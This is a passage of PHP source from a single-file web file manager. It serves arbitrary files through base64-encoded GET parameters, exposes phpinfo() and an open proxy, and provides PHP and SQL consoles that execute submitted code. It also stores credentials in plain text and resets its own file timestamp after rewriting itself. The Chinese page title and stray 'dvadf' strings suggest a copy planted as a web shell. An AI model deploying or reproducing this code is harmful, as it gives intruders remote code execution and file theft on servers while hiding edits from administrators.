				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>检查那些</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
dvadf<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?>dvadf<?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
dvadf<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
dvadf<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
